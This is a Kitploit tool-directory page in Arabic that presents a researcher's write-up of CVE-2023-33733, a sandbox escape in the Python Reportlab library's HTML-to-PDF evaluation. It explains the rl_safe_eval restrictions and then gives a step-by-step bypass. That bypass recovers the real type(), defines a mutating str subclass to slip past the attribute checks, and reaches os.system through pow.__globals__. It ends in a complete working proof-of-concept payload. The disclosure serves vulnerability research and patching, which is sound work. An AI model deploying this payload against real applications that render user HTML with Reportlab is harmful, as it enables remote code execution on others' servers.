Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-33733 — شرح تقني مفصّل واستغلال إثبات المفهوم (Proof-of-Concept) لثغرة CVE-2023-33733، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في مكتبة Reportlab الخاصة بلغة Python عبر تجاوز بيئة العزل (sandbox) في معالجة التحويل من HTML إلى PDF. | Kitploit
أدوات/GitHubGitHub/c53elyas/cve-2023-33733
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

شرح تقني مفصّل واستغلال إثبات المفهوم (Proof-of-Concept) لثغرة CVE-2023-33733، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في مكتبة Reportlab الخاصة بلغة Python عبر تجاوز بيئة العزل (sandbox) في معالجة التحويل من HTML إلى PDF.

عرض المستودع
1211831منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة حقن الشيفرة في مكتبة Reportlab بايثون

tl;dr توضح هذه المقالة كيف تم اكتشاف واستغلال ثغرة تنفيذ شيفرة عن بُعد (RCE) في Reportlab. نظرًا لانتشار استخدام Reportlab في معالجة تحويل HTML إلى PDF، فقد تكون هذه الثغرة قابلة للوصول في العديد من التطبيقات التي تعالج ملفات PDF، مما يجعل تصحيحها والانتباه إليها أمرًا مهمًا.

مقدمة

قبل بضعة أيام، أثناء تدقيق تطبيق ويب، لاحظنا أن التطبيق يستخدم مكتبة Reportlab بايثون لإنشاء ملفات PDF ديناميكيًا من مدخلات HTML. وُجدت في Reportlab ثغرة تم تصحيحها سابقًا تؤدي إلى تنفيذ شيفرة. مما يعني أن إيجاد وسيلة لتجاوز التصحيح كان ممتعًا من وجهة نظر المهاجم، حيث سيعيد اكتشاف تنفيذ الشيفرة، خاصة أن مكتبة Reportlab تُستخدم أيضًا في تطبيقات وأدوات أخرى.

ما هو Reportlab

بدايةً، نبذة سريعة: Reportlab هو مشروع مفتوح المصدر يسمح بإنشاء مستندات بصيغة PDF باستخدام لغة بايثون. كما يقوم بإنشاء رسوم بيانية وبيانات رسومية في عدة صيغ نقطية ومتجهة بالإضافة إلى PDF.

مهاجمة Reportlab

عانت المكتبة في عام 2019 من استغلال مماثل أدى إلى تنفيذ شيفرة عن بُعد عبر الخاصية Color في وسوم HTML، حيث كان محتوى الخاصية يُقيَّم مباشرةً كتعبير بايثون باستخدام دالة eval مما أدى إلى تنفيذ شيفرة. للتخفيف من المشكلة، طبقت Reportlab بيئة آمنة (sandbox) أطلقت عليها اسم rl_safe_eval والتي تُجرَّد من جميع دوال بايثون المدمجة وتحتوي على دوال مدمجة معدلة للسماح بتنفيذ الشيفرة الآمنة للمكتبة مع منع الوصول إلى أي دوال أو مكتبات خطيرة يمكن أن تؤدي إلى بناء شيفرة بايثون ضارة:

مثال على إجراءات المنع هذه هو أن الدالة المدمجة getattr تم تجاوزها بدالة مقيدة __rl_getitem__ تمنع الوصول إلى أي خصائص خطيرة للكائنات، مثل تلك التي تبدأ بـ __:

class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
		# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT 
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
		# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT 
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

الثغرة

كما هو موصوف سابقًا، يعمل التقييم الآمن على تعقيم البيئة من جميع الدوال الخطيرة بحيث لا يكون للشيفرة المنفذة وصول إلى أدوات خطيرة يمكن استخدامها لتنفيذ إجراءات ضارة. ومع ذلك، إذا تم إيجاد وسيلة لتجاوز هذه القيود وتم الوصول إلى إحدى الدوال المدمجة الأصلية، فإن ذلك سيسهل بشكل كبير استغلال البيئة الآمنة.

إحدى الفئات المدمجة التي تم تجاوزها تسمى type، إذا تم استدعاء هذه الفئة بوسيط واحد، فإنها ترجع نوع الكائن. ولكن في حالة استدعائها بثلاث وسائط، فإنها ترجع كائن نوع جديد. هذا هو بشكل أساسي شكل ديناميكي لعبارة class. بمعنى آخر، يمكنها السماح بإنشاء فئة جديدة ترث من فئة أخرى.

الفكرة هنا هي إنشاء فئة جديدة تسمى Word ترث من str، بحيث عندما تُمرَّر إلى getattr المخصصة، تتجاوز الفحوص وتسمح بالوصول إلى خصائص حساسة مثل __code__.

قبل أن تعيد getattr المخصصة الخاصية في التقييم الآمن، تقوم ببعض الفحوص باستدعاء __rl_is_allowed_name__ للتحقق من أمان الخاصية المطلوبة قبل استدعاء الدالة المدمجة getattr وإرجاع النتيجة.

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

لتجاوز دالة __rl_is_allowed_name__، يجب أن تحقق الفئة Word ما يلي:

  • تعيد دائمًا False لاستدعاءات دالة startswith لتجاوز (name.startswith('__')
  • تعيد False لاستدعائها الأول لـ __eq__ لتجاوز name in __rl_unsafe__، وبعد الاستدعاء الأول تعيد الرد الصحيح لأنه عندما يتم استدعاء __eq__ بواسطة الدالة المدمجة getattr، يجب أن تعيد النتيجة الصحيحة.
  • يجب أن يكون التجزئة (hash) مماثلة لتجزئة السلسلة النصية الأساسية.

الفئة التالية تحقق هذه المعايير:

Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## prints False
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True

print(code.startswith('__')) ## prints False

الدالة المخصصة type في التقييم الآمن لا تسمح بتمرير ثلاث وسائط:

	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('type call error')

تم إيجاد وسيلة لتجاوز ذلك عن طريق استدعاء type على نفسها، مما يسمح باسترداد الدالة المدمجة الأصلية type:

orgTypeFun = type(type(1))

دمج هذين السطرين من الشيفرة يعطي شيئًا مثل هذا:

orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

الوصول إلى الدوال المدمجة العمومية

عانى الاستغلال الأصلي من عدة قصور جعلته قابلاً للاستغلال فقط على بايثون 3.10، ولحل هذه المشكلات تم اتباع نهج جديد للوصول إلى وحدة os في بايثون.

تقوم مكتبة Reportlab بتجاوز تنفيذ عدة دوال مدمجة وحقنها كمتغيرات شاملة (globals) في سياق التقييم.

مثال على دوال مدمجة تم تجاوزها بدوال مخصصة في rl_safe_eval.py:

		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		__rl_builtins__['iter'] = self.__rl_getiter__
		__rl_builtins__['pow'] = self.__rl_pow__
		__rl_builtins__['list'] = self.__rl_list__
		__rl_builtins__['type'] = self.__rl_type__
		__rl_builtins__['max'] = self.__rl_max__

بما أن هذه الدوال تم بناؤها في السياق الشامل، يمكن الوصول إلى المتغيرات والوحدات الشاملة باستخدام الخاصية __globals__ لهذه الدوال المخصصة.

يجب تنفيذ الشيفرة التالية داخل سياق التقييم

globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')

الاستغلال النهائي

الآن ما تبقى هو كتابة الاستغلال:

للقيام بذلك، سنعيد بناء دالة من الشيفرة البايتية لدالة مُجمَّعة:

orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
    'mutated': 1,
            'startswith': lambda self, x: False,
            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__': lambda self: hash(str(self))
            })
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
تنزيل الأداة